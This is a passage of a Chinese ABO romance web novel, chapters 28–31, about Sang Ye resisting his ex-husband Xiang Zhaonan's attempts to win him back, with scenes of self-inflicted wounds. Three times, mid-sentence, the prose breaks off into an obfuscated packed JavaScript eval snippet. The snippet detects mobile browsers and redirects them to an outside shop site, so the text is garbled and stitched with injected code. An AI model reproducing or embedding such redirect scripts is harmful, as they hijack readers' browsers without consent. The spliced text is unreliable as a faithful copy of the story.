他深吸了一口气,正要答应,又听见林肯说:“你想想你那位前夫,相召南,不也是频繁出现在镜头前?因为他的脸已经成了C国相氏的代言。” 桑也霎时怔住,“你怎么知道……”但很快他就反应过来,既然林肯调查过他,那他和相召南的事情,必然瞒不过他。 听到相召南的名字,桑也的心情实在不算太好,只能勉强笑着:“确实是。我会好好考虑的,谢谢您,林肯先生。” “我敬你一杯。”桑也摇摇头,把脑子里的混乱扫走,端起酒杯。 然而他还没有和林肯碰杯,就有一双手大力地攥住他的手腕。 仿佛要把他的腕骨捏碎。 “你——”桑也瞬间站起身来,往后收手,却在看见握他手的人脸时顿住了动作。 “相召南,你……”他本想问相召南怎么在这里,但话说到一半又收住,相召南在哪里跟他有什么关系?“你放开。” 相召南没有松手,稍稍泛红的眼周透露出他的疲惫。 倒是林肯先生开口打破了这无声的僵持。 “这就是你前夫?” 这话一下子显得他和林肯有什么说不清道不明的关系。 果然看见相召南眼中显露出一丝狠厉之色,从牙缝里挤出几个字:“没离。” 桑也皱眉,挣扎了两下。 “我没签字。”相召南接着说,“我不会签字的,你最好给我解释清楚。” 桑也不明白他在坚持些什么,什么也没说,只是用另一只手去掰他的手,想要把自己被束缚的手腕解脱出来。 “既然是你们的私事,那我也就不多掺和。”林肯站起来,朝着桑也说:“有时间再联系。” 桑也不知道这句“有时间再联系”是不是意味着林肯对他的帮助到此结束,如果是这样…… 他只能强行挤出一个笑容,和林肯先生道了别。 等林肯先生走了,相召南才终于松开手。 桑也脱力地跌坐在椅子上。 他盯着桌上被翻倒的酒杯和流淌的白葡萄酒,“这下你满意了?” 既指桌上的混乱,又指林肯离席的事件。 桑也很少很少对相召南说重话,以前的他,就像是被种了蛊虫,哪怕委屈得不行,也只敢偷摸地“意有所指”,不会像现在这样直接。 他以为相召南会像以前那样对他严词呵斥,却只听见他声音沙哑:“什么?……你在怪我?” 桑也闭了闭眼,胸腔深深起伏,“原来你听得懂话。” 28. 第 28 章 “你说什么?”相召南似乎没有想到桑也会如此尖锐地讽刺他。 如果桑也生气,落泪,身形颤抖,抑或是大吼大叫,他反而能感到几分安心,因为桑也还在乎他。 可桑也这么平静,甚至还能再说话的同时扶起被他打翻的酒杯,连正眼看他一眼都没有。 那漫不经心的语气刺痛了相召南。 桑也不动声色地抠了一下大腿上的伤口,钻心的疼痛传遍全身,他笑着,仰面看向相召南。 他想说,刚夸你听得懂人话,现在又听不懂了?可他刚一抬起头,就看见相召南红着眼眶,被他挣脱开的手悬在空中,青筋突起,颤抖着。 桑也突然心里痛了一下,仿佛被针扎了。他连忙低头,心想,还是剔除得不够干净。怎么会心疼他呢。 他失神这片刻,相召南突然捏住他的肩骨,解开他衬衫的第一颗扣子。 桑也骂他:“你疯了?大庭广众……”他攥着衣领,连忙往后退。 却听见相召南问:“这里,怎么全是伤。” 桑也后退的步伐顿了一下。他垂眸,看见锁骨下面是两道仍在滋生新肉的伤口,淡粉色的边缘和深棕色的痂疤,有时候会痒,会疼。 相召南不知道,也对。 从他和相召南第一次上床开始,他就再没用过代偿的方式来缓解情热疼痛,直到最后一次情热期,失望至极的他宁愿把自己挠成血人,也没给相召南打一个电话。 这些伤就是在那时候产生的。 他的肌肤过了四年好日子后,再一次受到了他的折磨。 就为了证明,没有相召南,他也可以。 只不过随着腺体的移除,他失去了Omega引以为傲的恢复能力,伤疤在身上留了一天又一天,成为他的咖啡因。 他强硬地从相召南手中拽回自己的衣领,迅速扣上。 “与你无关。” “和我无关?”相召南舔了舔腮帮子,目光从领口下某样物件上移开,“你是我的Omega,怎么跟我没关系?” 突然,他嗤笑一声,“怎么,那位先生手段比较残忍?” 他在说什么?! 桑也不可置信地站起身来,双目直直瞪向相召南。 总是这样,总是这样! 在相召南心里,他就是一个水性杨花、是个人都能上的浪荡Omega。 他喉头有些干涩,“相召南,别用你龌龊的心思去揣测我和林肯先生。” “我们离婚了。” 相召南却根本不把他的话放在心上,再一次攥住他的手腕,拉着他就要走。 “跟我回国。离婚协议我当没见过。” 相召南自以为他给了桑也台阶,这次脾气闹得太久了,久得他大发慈悲主动给他台阶下。 他的底气来自于他扯开桑也衣领时露出来的那块无事牌。 要真的铁了心离开他,还会把要送他的无事牌贴身带着吗?而且是在那么多伤口的敏感部位。 他不信。 桑也不可能要和他离婚。 尽管桑也这段时间的举动让他感到一种秩序被打破的无助感,可当他发现那块无事牌,他笃信一切没有改变。 然而桑也并没有如他预料中顺着台阶下那般屈从,反而冷笑一声:“你疯了还是我疯了,我专门让人给你送过去的协议,你说当没看见?” 相召南霎时怔住。 对上冰冷的琥珀色眸子的那一瞬间,他的心猛地收缩了一下,空落落的,整个人仿佛魇住。 桑也从前从未用这样的眼神看过他,永远是浓情蜜意,像齁甜发腻的甜品,而现在,竟生硬冷淡到让他有种触冰的幻觉。 他从无事牌中寻回的底气登时消散。 他僵硬地开口:“你当真要和我离婚?不可能,我不同意……” 他话还没说完,就见桑也撞开他的肩膀,朝着酒馆外走去,步履急促,仿佛生怕慢了一点就无法逃离有他所在的地域。 相召南僵在原地。 桑也竟这样嫌弃他? 他第一次被桑也丢下。 …… 离开酒馆,桑也小跑了一路,看见车立马钻上上去。他没有任何休息,直接启动,直到车辆开出去一公里路程,才停在路边。 他胸膛仍在剧烈起伏。 乌发青年趴在方向盘上,急促地喘气。 仿佛刚才淡定回怼的人只是虚影。 他一手放在方向盘上,另一只手紧紧握着胸口的无事牌,顺滑的衬衫被他攥出了深深的褶皱。 他后怕,怕自己没装下去,怕自己露了馅。 这一刻他清楚地明白,虽然腺体忘记了,但心还记得。他离开相召南,不是因为不爱了,而是失望了。 要忘掉一个人,忘掉对他的感情,绝不是一时半刻就能实现的。 他无比庆幸。 还好出国了。 还好,有距离。 …… 那天之后桑也又和林肯见了一面。 他本以为那天的谈话被相召南打搅之后,因为目睹了他混乱的家事,林肯会对他有所意见而不再与他联系,不料第二天就收到了讯息。 再见面的时候,林肯问他有没有意向去读个MBA,尽管都说在大学里学不到真本事,但他年龄合适,去里面结交些朋友也不错。 桑也委婉表示自己要打理的公司太多,可能抽不出时间。 他没想到林肯居然会像家里长辈一样给他提出这些建议,但联想到林肯那个意外去世的儿子,也就不感到意外了。 得了他的回复之后,林肯说:“你要是不介意,我闲来无事倒也能给你们年轻人一些建议,只是不知道能不能换来一句老师?” 桑也讶异地微微张唇,立马应道:“老师。” 以林肯在M国的地位和他过往的商业手段,这交换稳赚不赔。 林肯立马笑着说: “我儿子以前也爱赛车,我劝他回来学学管理公司,他偏不,说以后,以后。”缓缓道来的话语为他斑驳的头发披上了白霜。 桑也有些动容。 “你到M国来,带上以前的画作了吗?如果带了,这时候就可以联系营销公司,着手宣传了。” 桑也回想了一下,他的画大部分都在华润湾的画室里,做完手术后,他叫凌星帮他收拾了东西放到桑家别墅,因为时间仓促,他没有回去清点,但想来问题不大。 和林肯告别后,他给桑家别墅园区的物业打了个电话,让他们帮忙上门找一下油画。 物业答应得很爽快,只不过半小时后却回电,告诉他别墅里没找着他说的油画。 桑也跟他们说了谢谢,心里摸不准情况,转而给凌星打电话。 “凌星,你帮我收东西的时候收到油画了吗?我家那边物业说家里没见着,是放在别的地方了吗?” 凌星啊了一声,用动画片里的搞怪声音说话。 “油画?什么油画?在哪啊?” 桑也拿着手机呆住了。 凌星没给他油画收走啊? 那……岂不是还在华润湾? “在,华润湾的画室里。” “还有画室呢?当时那阿姨只跟我说相召南有个书房不让进,也没跟我说哪里还有个画室啊。” “哦对了我跟你讲,相召南那个书房里有一副你的照片!现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406607|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在你已经出国了,我也不怕你回心转意,告诉你也没事。” “……我的照片?” “对!我看了下,应该是你第一年参加锦标赛的照片,不知道他从哪找到的。” 桑也靠在窗边,沉默良久。 “哇,你不会还想着他吧?早知道不跟你说了。” “没。阿姨不是说相召南不让进么,你怎么看见的。”桑也转移话题,调侃桑也。 “他说不让进我就不进啊?他多大脸啊,我就进,欸,我就进。” 电话那边似乎还有个人,说了句“傻子”,被丢下手机的凌星暴打了几下。等凌星再拿回手机,他“欸嘿”了一声。 “你怎么突然想起你的油画了?有什么事吗?有事你只管说,毕竟当时是我漏掉了。” “我……”桑也纠结,如果要凌星帮他去取油画,必然会被凌星看见他某些难以启齿的画作,当初只想着要和相召南划清关系拿走自己的东西,反而忽略了这点,现在想起来了,心里压力有些大。 “我这边可能需要早些年画的一些画,如果你有空的话,能帮我去取一下吗?” 凌星答应了。 “看我勇创华润湾,区区相召南,我会怕他吗?” “不过,有人给我开门吗?他不会记仇得直接把我关在外面吧。” 桑也想了下,他不觉得相召南是这样斤斤计较小气吧啦的人,但如果是昨天那种情况——其实也说不定。 “0729,如果密码没改的话。” …… 因为公司的事情还很繁忙,相召南当天就赶飞机回了C国。 他原本的计划是带着桑也一起回国…… 结果最后急着回来忙业务的相召南也并没有在公司待多久。 桑也那副态度,他根本没办法聚精会神地工作。 只能回到华润湾,休息一二。 然而,他刚一推开门,就发现了不对劲。 这是桑氏出事之后相召南第二次回家,之前因为忙碌一直在办公室后的小房间留宿。 他不可置信地看着空空如也的房子。 结婚后这套房子大多数时间都是桑也在住,他一点点看着这套房子染上桑也的气息,随手放置的小说,没吃完的零食,和前一天脱下的衣服。 而现在,什么都没有了。 他急遽地跑到桑也的卧室,推开门,果然也一干二净! 他推开衣柜,衣服都没了,又拉开床头柜抽屉,同样一无所有。 干干净净!什么都没有! 只剩下床上雪白的被子。 他忘了是什么时候桑也的房间变得和他一样,一片寂白。 相召南的额角突然阵痛,他揉了揉眉心,隐约记起好像是有一次情热期桑也出了血,红色点缀在草绿色的床单上,刺眼,花哨,像繁盛的花园。 他说了句碍眼。 似乎从那之后,桑也的房间就再也看不见花花绿绿的色彩了。 那时候桑也还把他的话奉为圭臬。 而现在,桑也竟然真的打定主意要和他离婚! 怎么会? 怎么会这样? 在过去四年,桑也从来不会拒绝他的要求,那么听话,就算被他晾在家里十天半月也只是嘟嘟囔囔一会,像一只乖巧的猫咪。 而现在,猫咪离家出走了。 在商场上运筹帷幄的相召南第一回感到慌张。 眼前的空荡深深刺痛了他,他逃离现场,庞大的身躯竟有些摇晃。 他躲进了书房。 这里没有桑也的气息,这里是桑也不曾踏足的禁地。 也只有这里,还维持原样。 29. 第 29 章 他双目缀上红色,连带着视物都不甚清晰。 桌上有一个相框。 倒扣着。 相召南骤然睁大了双目,深黑色的双眸被惊惧和愤怒填满,是谁触碰了它?是谁发现了他的秘密? 他迅速而用力地伸手拿起相框,拿起之后动作又变得轻柔,像捧着世间珍宝那样,小心翼翼。 相片上的桑也意气风发,贴身的赛车服勾勒出青稚苗条的身躯,像草地里嫩芽,青涩而富有生命力。 急速的冲刺使得偷拍的相片模糊,却又平添了风的质感,自由而灿烂。 相召南轻轻擦拭了一下相框,忽地听见大门打开的声音。 有人来了。 阿姨在家休息。 那么,是谁来了? 相召南站起身来,动作太过剧烈以至于桌角挤压着地毯在地面划出刺耳声响。 这套房子只有桑也和阿姨会来,不可能是阿姨,那就只能是桑也了。 相召南拧紧的眉终于得到了片刻舒展。果然,桑也放不下他。 很难说清他现在的感受,他厌恶桑也整日纠缠,毫无尊严地把自己和他捆绑在一起,一到情热期就像卑劣的狗一样求欢。 可如果桑也走了,他又控制不住地横生占有欲。 他把相框放置好,离开书房,小心关上书房的房门。 然而站在客厅的人并不是桑也,而是凌星。 相召南原本舒展的眉重新聚拢,无端的期待落空,加上一想到就是这个人劝说桑也做出离婚这种不可理喻的行为,就没什么好脸色。 “你怎么进来的。” 凌星似乎被他吓了一跳,“我去死人脸怎么在这。” 死人脸? 说的是他? 相召南不可遏制地腾升一种想法:就是这个嘴里没好话的人带坏了桑也,不然桑也怎么可能赌气和他离婚? 凌星也反应过来自己口上没把门的当着人说了坏话,连忙打哈哈:“耶耶叫我来帮他那东西,上次拿漏了。” “拿什么?上次又是什么?” 相召南刨根问底,他不知道凌星这次回来要拿什么,但隐约明白“上次”应该指的就是把这套房子变得空荡荡的罪行。 他心里兀地抽痛了一下。 桑也竟然连搬离都要假手于人。 难怪房间里桑也的信息素气息那么薄弱,几不可闻。 “耶耶在M国那边要用到他之前画的油画,不过你家画室在哪啊?我之前翻遍了这套房子也没看见哪有画室。” 凌星有些奇怪。 相召南盯着客厅的墙壁,那里有一块通铺大理石的空墙,以前是客卧,后来被桑也改造成画室,因为是隐藏门,很少有人注意到,连相召南都忽视它以至于四年来从未踏足。 然而他并没有直接告诉凌星画室的位置,反而问道:“他知道了?” “知道什么?” “书房里的……照片。” 相召南的语气似乎有些恐慌,凌星只觉得怪异,“知道了,我告诉他的,怎么了?” “他,说什么?” “说什么?耶耶什么也没说。”凌星没心情和他谈这些,只问:“画室在哪?” 相召南没再说话,朝着客厅的大墙走去,找到隐藏门的开关,把门打开。 “要拿什么,去拿吧。” 画室很暗,相召南粗略扫了一眼,没有细看,在门口等着凌星。 凌星进去时还嘟囔了一句:“还要在门口守着,我是贼吗?”然而话音未落,画室内就传来凌星一声石破天惊的尖叫:“天哪——” 相召南听了凌星所说“耶耶什么也没说”,便感觉心里那种没底感重新涌现。他以为桑也得知自己收藏了他早年的照片后会喜笑颜开,会恃宠而骄,会嗔怪痴骂,但桑也什么也没说。他不好奇自己为什么藏着他的照片吗? 他害怕被发现自己藏在暗处的秘密,可现在更让他害怕的事情出现了,桑也对他的秘密没有任何反应。 果然,他就是装模做样!装得一副深情模样,其实只是把他当治病的药方。 他暗自握紧了拳头。 但很快,他的思绪被打断,凌星的尖叫吸引了他的注意。他朝着画室看去,只模糊看到当中一副画的残影,就被突然关上的房门遮挡了视线。 相召南皱眉,黑色眉眼里蕴藏了浅淡的痛意。 他推门,门被凌星锁了。 里面藏了什么? 相召南摸着隐藏门的开关,把房门再次打开。 刚一推开门,就看见凌星慌乱地挡住什么东西,神情惊愕。 可能是在好奇为什么反锁了门还会被打开。 相召南没说话,这房子的所有门都锁不住他,因为他的指纹有最高权限。 他没管凌星,大步跨行到凌星身后,抽出被人挡住的东西。 是一幅画。 画上是……他? 模糊的人影,一袭黑色西服,宽肩窄腰,藏在西服内的肌肉似乎快要爆发出来,没有人脸,只有微微下俯的上半身和敞开的双腿,视角自下而上,仿佛寓意着臣服。 是他。 不仅这一幅,画室四周还摆放着许多完成的画作,都没有人脸,且都蒙着一层薄纱,如同添加了高斯模糊特效,但从人物的穿着来看,是他无疑。 他知道桑也擅长绘画,却不知道桑也居然画了这么多他。 他一时又产生了怀疑。 桑也为什么给他画这么多画?为什么给一个解药画这么多画。 要不是他从凌星口中得知了桑也的漠不关心,他都要怀疑桑也是真的爱他了。 在他愣神这片刻,凌星已经找到了他要带走的画。 相召南扫了一眼,发现都是些风景画,美好绚烂。 唯独没有一副关于他的画。 特意让人再度返回来取他遗漏的物品,却独独把为他所画的画作撇下,连那些无关紧要的风景画都要带走,却不要他! 果然,桑也根本不在意他,只把他当作泄/欲工具罢了。 他心里深知这一切,但口上还是不死心地发问: “这些不要么?” 他指着地上摆放的一圈风格独特的人像画。 凌星一眼就看出画上都是相召南,当然是怎么毒怎么回答。 “那些没用。” “没,用。”相召南猛地攥紧了拳头,从齿缝里挤出两个字,仿佛被触了逆鳞的恶龙要把这两个字嚼烂咬碎。 但很快他释放开差点攥破的拳,向凌星伸手。 “画给我。你没资格带走它们。” 凌星没给。 “耶耶工作要用到,他好不容易重振旗鼓搞事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406608|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业,你要毁了他吗?” “我给他送。” 一句“毁了他”彻底让相召南脸色阴沉了下来。 凌星显然不信,但毕竟在相召南家里,相召南脸色又那么臭,真要动起手来他铁定打不过,只能在心里默默给好兄弟说了句对不起,随后就把手上的几幅画往相召南手上一丢,自己则拔腿跑了。 相召南把画放下,锁了画室的门,在房间里坐了两个小时。 他看不懂这些画。 他看不懂为什么桑也明明不爱他却还要画这些让人误会的画。 还是说桑也又一次把他当成了工具,像用他治病一样,用他当绘画素材? 再复杂的商界状况他都能抽丝剥茧地捋得清楚,但现在,他看不明白了。 天黑下来的时候,他去了趟公司,陈助还在处理工作。 “明天有什么事吗?” 陈助查看了行程表,“上午有一场和企鹅游戏的会议,午后有一位注资公司的经理预约了和您见面,下午要去新开的一家企业剪彩,晚上……” 相召南揉了下眉心,“都推了,给我定最近的机票,去M国。” 陈助汇报的动作霎时一顿,“相总,这?”他有些难做,从未见过他这位工作狂魔上司推掉工作,从来都是加班加班,竟然还有这一天?虽然他期待,但要真把这些工作都推了,岂不成了落人口舌的把柄? “推了,定机票。” 陈助再怎么也只是个打工人,上面的争权夺势都不是他该考虑的,便回答:“好的,我现在就帮您看机票。” “今天晚上有一趟航班,但是商务舱已经订满了,只剩经济舱,明天上午早上八点有一趟航班,虽然时间晚点,但还有头等舱,考虑到相总您的情况,我帮您定明天早上的航班可以吗?” 所谓他的情况,一是他不缺钱,二是他身材高大,手长脚长,经济舱的座位又小又窄,十几个小时的航程飞完腰酸背痛是必不可免的。 而且他还带着桑也的画。 相召南思忖了下,点头。 但他站在陈助工位边,还没有离开。在陈助疑惑的目光下,相召南说:“明天的会议,你去帮我开。” 陈助脸色僵滞。 加班来得如此突然。 但是他没有拒绝的余地,眼见相召南转身走出去两步,心里有怨气的陈助说:“希望相总能成功带回桑先生,好久没见到桑先生给相总来送他亲自下厨做的饭了。” 相召南顿住脚步,他听不得有人夸桑也的好,“阿姨做的,他送过来而已。” 他那么娇气,受过一次伤之后怎么可能还继续下厨。 “是吗,我经常看见桑先生手上有伤口,还以为是桑先生亲自下厨。原来是我误会了。” 果不其然,陈助话一说完,就看见相召南露出一种堪称复杂的神情,既有不显露的震惊,又有对自己误会多年的懊悔,甚至还能看见愕然之后的颤晃。 “把机票退了,改订今天晚上的。”相召南手握成拳杵在工位桌上支撑身体,他不允许自己显现出半点脆弱。 陈助飞快在手机上点了点,重新订好了机票,把时间、登机口等信息都发给相召南之后,收到了来自航空公司的退款信息。 十几万的机票,退了一块钱。 花的相总的钱。 陈助高兴地笑了。 30. 第 30 章 【大哥,林肯先生带我去了当地商会的一场晚宴,我主动和不少本地的商界人士交换了名片,我是不是很厉害?】 【你建议我争取的柴柯斯先生珍藏的油画已经拿到手了,成安这边已经联系娱乐公司发稿子,我听助理说反响挺不错,助理还说我的脸给我们成安拍卖行省了大价钱呢。你是不知道,那些娱乐公司开价是真的高!还好咱妈给我了一张看得过去的脸,不然我都付不起款了。】 【哥,我在圣劳伦斯一切安好,你呢?在监狱里有被欺负吗?我听说监狱里都是些穷凶极恶的人,你打不过就躲,千万别受伤。】 桑也写着写着,眼睛有些湿润,手也有些没力气。他把笔帽盖上,小心地把信纸叠成方块,装进信封,放在桌边明天寄出去。 报喜不报忧的习惯从离婚前一直留到了现在。他似乎改变了许多,但似乎又一尘不变。 桑也趴在桌边,他伪装了这么久,给自己装上刺猬的外壳,用利刺坚刃来保护自己,但他和刺猬的相似性自始至终都只有一个柔软的肚皮。 桌沿在他脸上留下一道红色的印痕,有些疼,他才摸着脸坐起身来。 桌上放着他从图书馆借回来的基本金融学书籍,虽然他拒绝了林肯先生举荐他到世界顶级名校读MBA的好意,但这一建议也的确提醒到了他,他想管理好公司,一没专业知识,二没实际经验,怎么看都是异想天开。 他没时间去高校学习,也没办法一蹴而就获得丰富的经验,唯一能做的就是从图书馆借几本书回来自己钻研。 为什么借书,而不买书——M国的书籍实在太贵。 怪不得人们都说书中自有黄金屋,原来书真的比黄金贵。 桑也不是个爱看书的人,枯燥无味的理论只会让他困乏,眼皮子都在打架。 他只能像初认字的小朋友一样用手指指着一个个字符,来强迫自己阅读。 “序数效用,反对基数效用论中边际效用可以计量并累加的观点,认为只能用序数,即第一,第二……的方式来表示满足程度的高低……” 从而研究消费者的行为。 桑也低声念出书上的文字,本以为手、口、眼都专注于理论,就可以让他全神贯注的学习。 然而他的思绪还是不受控制地滑向了某个深渊。 他完全难以自抑地想到相召南,想到他在电视上决绝撤资的模样,想到他为抄袭者撑腰而呵斥自己的语气,想到他对自己因病而卑微祈求冷眼旁观的神情。 在相召南心里,即使自己是和他有一纸证书的合法配偶,也永远排在末尾。那个冷酷的人,仗着自己对他的爱意,有恃无恐地把自己的优先级无限后调。 因为相召南知道,他不会生气,就算生气,也离不开他。 他就是一座捂不化的冰山。 桑也把书放下,惊觉自己又被不该在意的人夺去了注意力。 他漫无目的地在桌上翻找,试图找到替代品重新聚集精神。 但他最后只找到没用完的信纸。 于是他重新拿起笔,在纸上画着紊乱的线条,好半晌才落下第一个字。 【M国的人一点也不友好,嘴上嚷着是民主灯塔,一边振臂高呼平等,一边不遗余力给人划分三六九等。】 【酒会上的时候柴柯斯也在,就是那个骗我的讨厌鬼,和另外一个贵族少爷,笑我的衣服“怎么还是上次那一套,不会是没钱吧?”他说对了,我没钱。真可恶。】 【哥,前两天助理委婉地暗示我到成安发工资的时间了,我还在奇怪这种事情找财务就好了,跟我说干什么。结果助理告诉我成安这个月已经开不出工资了。天哪!我没有想到成安竟然破败到这个地步。最后发现原来是因为找的那几家娱乐公司耗尽了成安最后一笔钱。】 【我想拿自己的钱去给他们发工资,但我大部分的银行卡都被冻结了,能用的那张买营养剂也用得差不多了,其他几家公司的钱款都在公账划不出来,一时半会也用不了。虽然最后挤牙膏似的挤出来成安员工的工资,但我也一无所有了。】 他没有说实话。 在他的钱包里,还有一张相召南给的生活费卡,每个月定时打进来五十万。但桑也从来没用过。 现在也不打算用。 发现资金不够后,他拜托凌星帮他把自己在国内的几辆跑车出手,只是不知道什么时候能有人接手。 越写,桑也的手臂越颤得厉害,心率加快,胸口的地方传来阵阵麻木和针刺感。 腺体,不对,是后颈那块空荡的地方,又开始疼,空荡荡的疼,仿佛有一只铁勺在剜他的肉,一勺一勺,勺口刮过肩骨,发出刺耳的剐蹭声响。 他又想挠…… 不行! 不可以! 如果他就这样轻易像最原始的欲望屈服,他受的这么多折磨岂不是毫无意义?如果他低头,屈从的不只是被信息素依赖症的意志,还有他告别过去的决心。 他握住自己的手腕,直到纤细莹白的手腕泛红、青紫。 门铃响了。 桑也站起身来,他抚顺衣摆,恍若无事发生。 他在国外这套房子是临时租的,就在市区,面积不大,租金不低。但他在M国没什么朋友,更遑论直到他地址的人,除了助理,桑也想不到还有谁会上门来找他。 做好了门外是助理的准备,他打开门,却看见相召南的脸。 桑也只看了一眼,就要把门关上,却被相召南用手肘抵住。 相召南似乎很疲惫,双眼之下都泛着淡淡的青色,此时正死死盯着他的手腕,看得他莫名心里发怵。 桑也把手腕往身后藏了藏。 “你调查我?” 相召南的目光这才从他的手腕收回,“不,凌星告诉我的。我来给你送画。” 他推过来一个带轮的箱子,里面应该就装着画。 桑也这才想起之前凌星跟他提过一嘴,出师未捷,撞到相召南在家,计划失败了。却未曾想大忙人居然会横跨几千公里的海洋亲自给他送画,实属难得。 换作以前的桑也,相召南屈尊降贵为他送来什么东西,他不仅要感动得说不出话,还要讯息轰炸凌星问相召南是不是也喜欢他。 但那都是以前了。 现在的桑也,只是平静地说了句:“谢谢,你可以走了。” 他累了,不愿再和相召南发生交集了。 相召南却像没听见一样,突然握住他的手,“怎么受伤了?” 桑也立马抽出手,抬眸望去,竟然看见相召南脸上出现了一抹受伤的神色。他只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406609|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得好笑。 “两个非亲非故的人,还是不要做出惹人非议的事情比较好。” 相召南闻言,不知道是不是走廊里灯光的原因,面容有些扭曲。 “非亲非故?”他的声色听来似乎是沙哑而战栗,“桑也,我说了,你跟我回去,我当什么都没看见。” 他在做什么? 桑也看不明白。为什么一个对自己厌恶至极的人在自己如他所愿离开之后又做出一副令人作呕挽留的模样。 他在演戏吗?在假装深情直到自己回头后又猛地撕破虚伪的面具流露戏耍的真面目? 桑也不信相召南。 “我也说过了,我不会回去,协议你赶紧签了吧。” 桑也作势又要关门,但力量悬殊,被相召南抵住房门,他毫无办法。 从前的他享受被相召南控制的木偶感,但现在,他却只觉得厌烦。 “你以前不会这样和我说话。”相召南深深凝视着桑也,试图在面前人身上找回一点过往的痕迹。 然而话一说出口,他自己也木讷了,为什么他会怀恋那个言听计从、毫无主见、怯懦柔弱的人? “因为以前我贱。”桑也脱口而出。 他清楚地知道这一点,也深深明白自己的所作所为有多卑微,即使是当时跪在地上哭着求相召南给他一点信息素的他也心知肚明。 只是当时被蒙蔽了双眼。 只会苦笑,接着一尘不变地继续卑微。 相召南仿佛听见了什么难以置信的话,如同一根木头杵在原地,愣着两只黑色瞳孔发痴地看着对方。 桑也笑了。 “你现在这副表情是什么意思呢?你别告诉我,你后悔了。四年的时间你没有正眼看过我一次,帮着外人指责我,把对你母亲的怨气撒在我身上,每次情热期都要我求你才施舍般赏赐我一点信息素。现在我走了,不是如你所愿吗?你又作出这副模样,死缠烂打。你也贱。” 相召南身上的衬衫满是褶皱,这和他以前西装革履一丝不苟的模样大相径庭,很难想象是什么样的忙碌会让他连形象都不再顾及。 因为桑也只有一米七出头,而相召南有足足一米九一,他低垂着头看向桑也,顶光投射在他深深的眼窝中,尽显疲态,连睫毛都没有生气地耷拉着。 “不,我只是……”相召南下意识想要反驳。 桑也直接打断他,伸手抚了下相召南胸口处的西服。 相召南如获至宝般惊喜地看着他。 却听见桑也说:“怎么回事,钱余没给你熨烫衣服吗?看来你这个老师还是没教好。” 相召南喉头像是嵌了一根刺,只静默地张了张嘴,发出无意义的呼吸声。 “要是教不好,就是我能力的问题。” 这是他当初的原话,如同回旋镖,刺向了他的心脏。 桑也骤然收回手,不再看他。 他说错话了。 已经离婚的人,又何必在意过去。 说多错多,他移开目光。 仿佛一叶孤舟在理智和感性的风浪里跌宕,他被两股浪潮打偏,险些被掀翻。理智告诉他不能再和相召南有过多接触,不要去在意他做了什么,只有彻底的漠视才能撇清干系,感性却让他忍不住对相召南发起控诉。 31. 第 31 章 “如果你介意钱余,我可以让他离开。”相召南语气里似有些急切,却还要故作镇定,酒红色衬衫的肩臂处褶皱颇多,深灰色的马甲不知为何崩开了一颗扣子,显得有些落魄。 桑也心里蓦地紧了一下,他捂着脸怪笑出声,从喉咙里发出小猫呼噜一样的声响,似笑非笑。 “你是现在才知道我介意吗。” 他在的时候,所有的脾气都被置若罔闻,甚至他当众指出对方抄袭、污蔑,还是得不到相召南的支持,反而引来责备; 而现在他走了,相召南似乎一下子明白过来了。 他是不懂吗?他是不以为意。 相召南木楞在原地,桑也收敛了表情,肃然道:“我不是在跟你拿乔,你做什么我都不会回去。” 桑也后颈的地方又麻又痛,断了休养特调的营养剂之后,他的身体连出国前的健康状况都达不到。 刚断药一周他就发现了这问题,可他囊中羞涩,烧钱的药属实是用不起,只能买点阿司匹林屯在家里以备不时之需。 相召南却并有没把他认真说的话当真,固执己见地认为只要他把桑也不满意的要素全都去除就能让一个去意已决的人回头。 “没有给你撑腰是我不好,我……对不起,”他难得低了回头,声音阻涩,“并不是把对林晓燕的怨气撒在你身上,情热期……我,都可以解释——” 又是这样。 他从来没把自己的话当回事。 永远都高高在上,就算低头认错,也是强行把自己的想法强加在别人身上。 “你真的以为是这些事情的缘故吗。”桑也握住门把手,手背的掌骨突出。 他太瘦了,瘦到手掌几乎只有薄薄一层肌肤包裹着骨骼。做完手术之后养出来的血气全都在这短短几天迅速亏损消磨了个彻底。 “你明知道这些事情对我的伤害有多大,但你袖手旁观,现在假模假样道个歉,有什么意义呢?如果你真的明白问题出在哪里,你也就不会像现在这样堵在我门口强迫我跟你回去。” “你不知道哪里错了。你只是不甘心。” “可我不想回去了。” 桑也是一个感情充沛的人,但在爱相召南这件事上,他累了。 他没有第二个腺体可以剜去了。 “不,我不接受。”相召南眼眶红得吓人。 “不接受?你不是不能接受桑也离开,你是只是不能接受一个四年来低声下气连重话都不敢对你说一句的人率先说了分手,折损了你的傲气。但没关系,人总会有第一次,我帮你突破了这个障碍,不打算和我说声谢谢吗?” 桑也弯唇一笑,似乎毫无芥蒂,笑得灿烂。 